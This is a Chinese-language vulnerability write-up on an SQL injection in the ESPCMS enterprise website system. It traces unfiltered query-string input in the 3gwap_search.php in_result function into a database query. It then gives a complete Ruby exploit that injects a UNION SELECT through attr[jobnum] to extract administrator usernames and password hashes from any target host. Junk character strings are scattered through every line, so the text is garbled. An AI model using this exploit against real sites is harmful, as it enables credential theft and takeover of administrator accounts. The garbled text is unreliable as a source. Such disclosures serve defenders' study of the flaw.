0×0 漏洞概述0×1 漏洞细节0 l1 x: z$ U) k/ I: z& W
0×2 PoC
4 Z, J; v, O( o% C. \6 d6 s z7 [9 l" b, p, _; a8 A0 ^
9 w+ |$ c f- ~7 D) v' }
' W& F; Q2 e7 Q( p" b0×0 漏洞概述
$ x3 u9 y3 W" |- W3 t& ?" r: k$ Z7 l
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
9 R# s0 x" s; Z+ E7 ?; E其在处理传入的参数时考虑不严谨导致SQL注入发生8 S3 A) ]. \4 |7 H9 E+ f
9 q0 B X% C0 n4 q4 S$ I; X
% n& x/ E4 u5 [7 }0×1 漏洞细节
* O' n5 z1 R, d7 [7 w: ^5 @9 g, W1 K; q4 k$ a
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
* d0 U# a" `) Q" v6 D正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。$ N9 a' n( G4 A. u# B1 q
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。$ l/ R1 L9 S* q( v9 p- x5 Y7 L
3 W ~$ p* }8 Y+ ^ S, ~ ~在/interface/3gwap_search.php文件的in_result函数中:
6 Y) ], I! J( |( V4 k: Y0 P
- P4 n' H2 t7 u- Z; ]5 O
' ~# f- ~- B5 I% A. P
% z: Z1 R8 C4 [; ] function in_result() {
; Z0 x" G/ s& D6 `' y9 R3 H4 F ... ... ... ... ... ... ... ... ...
, O& V& z- D2 N1 Y3 S $urlcode = $_SERVER[ 'QUERY_STRING '];
* v8 `* ]" C2 y# u Q K( n parse_str(html_entity_decode($urlcode), $output);% e. C" M5 q5 t! D
! _, g2 J( a, _- r ... ... ... ... ... ... ... ... ...
0 k+ }& W1 V! B! u' I# c4 {' \ if (is_array($output['attr' ]) && count($output['attr']) > 0) {" t% b" R% s) `, i9 x- _
4 l* L: A; c, ^9 Q $db_table = db_prefix . 'model_att';8 }8 n! a( Q+ B
; q/ @3 _/ i3 w
foreach ($output['attr' ] as $key => $value) {) q0 E3 T9 ~8 L$ L. R/ ^
if ($value) {3 V, J( {* L4 e2 M% c" r( L' x; E
' D2 s, i3 Y) n' e/ g- H$ J
$key = addslashes($key);3 G9 [$ E+ G; ~) _- u2 M" z( Y
$key = $this-> fun->inputcodetrim($key);
0 S+ }5 W- V& i. P% p+ k b $db_att_where = " WHERE isclass=1 AND attrname='$key'";
" e( J2 W1 s) d, y0 [- M* E $countnum = $this->db_numrows($db_table, $db_att_where);# i0 `+ t7 |( U9 F1 b
if ($countnum > 0) {/ A- [% ^$ w$ g0 u3 d( N+ ^0 u& r
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
3 f: l8 N& h" Z8 o( g9 x }/ Y9 H3 e8 K2 M* M6 o1 M! e
}
9 D# j w/ P0 ^+ ?% k }
4 U4 f' a9 o! v# l0 W9 w0 T% L5 E }
. `. P; b/ Q9 Z9 @ if (!empty ($keyword) && empty($keyname)) {
( R( a" p% r# ]- [5 W $keyname = 'title';1 W l F4 Q) i
$db_where.= " AND a.title like '%$keyword%'" ;, S8 G, v6 d$ v( i% w
} elseif (!empty ($keyword) && !empty($keyname)) {
( {, o, ^8 c" r1 h' a; @+ i/ \4 G $db_where.= " AND $keyname like '% $keyword%'";+ b9 \ c/ M7 Q9 c$ D8 M4 k9 g
}
* P4 R, ?8 r2 W9 e8 O0 u $pagemax = 15;
7 ~% z9 b" V$ @# J
J5 G4 t6 y* C2 A $pagesylte = 1;
) D& L5 ]; h& x' m
8 v4 s3 Y5 O, [2 r7 L if ($countnum > 0) {$ \: D# K2 S* u" D F( a* w
# u: b, V! B( _( V) B, t5 c
$numpage = ceil($countnum / $pagemax);1 ~- L P( r5 a. P! p8 ~! I( k
} else {2 b# u7 |- w' c
$numpage = 1;5 a2 n( g4 }* O: D
}
: A* D1 F8 O8 i; H1 k7 o $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
2 H4 u8 \4 v- e1 W! R& I, | $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);7 W6 y& i; b3 z9 H
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);/ J1 x+ K5 B% J% `3 j L0 o
... ... ... ... ... ... ... ... ...
6 {" S x9 a. L K3 s: v% L9 ^ }" e! R9 ^. b1 ?. ?
6 S; \1 `- f& A2 |, x. z
1 y8 Z) A+ r" o. D( K& u. N" W
0×2 PoC
/ `' g- ^. o' L" e/ A/ d4 x4 f( V. O! K
- V$ M( M) ^0 }# e0 f N) `' l/ b* ?" F" u7 m4 w
require "net/http"
, S" v. ~- _+ L; |- `2 g" t! m4 P4 F0 V, t+ P
def request(method, url)7 d& k+ ?& L5 n" F: Z
if method.eql?("get")
- ?! K7 Y0 H0 e) e% M& r uri = URI.parse(url)
2 c8 u9 j) t9 u$ s; U' N. ?* f ` http = Net::HTTP.new(uri.host, uri.port)
$ X4 G. H+ Y: g response = http.request(Net::HTTP::Get.new(uri.request_uri))
. i) t( y( i' |3 J( M2 u8 } return response3 P! G! K7 E7 A/ U5 \7 o5 N3 @
end) O) g/ q/ O+ o7 W* @$ O
end
' z. z- q% U: e( {2 |! f' o; |! ~7 p3 h: T& I2 I r6 [9 G
doc =<<HERE
8 Y5 A5 m' Z: ?. {- h, ?# O-------------------------------------------------------
, x( u7 x0 v# Q3 \* D8 EEspcms Injection Exploit
& x; C% s& P3 r; Y. zAuthor:ztz& a9 e9 h5 p2 @. O
Blog:http://ztz.fuzzexp.org/' `' l$ V3 o' u# l3 J4 ?5 s
------------------------------------------------------- `( n! h8 \+ ~$ H, Z7 F' V8 `$ l
( t0 ]' L4 {+ A) }; B6 ?! c
HERE) z% z5 C7 F6 N! i
: i1 t' @ m2 [; Q% g3 c
usage =<<HERE
: x5 |$ T- {' p9 R6 w% `. X7 P4 aUsage: ruby #{$0} host port path
/ m6 j/ ^ S9 u; W( |9 x# [% k5 texample: ruby #{$0} www.target.com 80 /
$ H) y. M. w3 k% z5 t/ {8 _4 gHERE* m/ h0 T* d9 T% c' b( R
. i3 B2 T+ c3 ]" x. @4 r
puts doc! T/ U5 m$ K9 O' t$ u# C1 f
if ARGV.length < 3( Y- e5 v& n4 N- ~: N8 Q) Z
puts usage
. S" ?% m0 c: C$ I; zelse
; E0 {* j' [0 [5 s $host = ARGV[0]
9 h# ]1 u: b9 H! {7 w. w $port = ARGV[1]
& X7 [ ?$ K0 {+ [$ t $path = ARGV[2]% | L% c, [' b( j z0 o) W
4 h$ @. c7 c* g: u) K# s puts "send request..."5 e4 O3 D7 z7 C* y" |; {
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&3 r3 Q/ o( i+ `8 K( Z2 c2 u
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
% c, n* k/ ?8 T' R3 G6 L,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27. w; r9 |1 k& e4 j( L1 {; H( O; I/ Y
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
* w5 z1 \7 R6 W1 R- R/ m# F response = request("get", url)0 u( H3 S/ K. K, }
result = response.body.scan(/\w+&\w{32}/)
1 e% ^" e3 U0 B5 X6 _1 S puts result
6 N5 I* z q. N3 F$ d$ jend" a) R* q5 i5 o& n9 O
, M$ j6 W, p [3 C4 [ U
|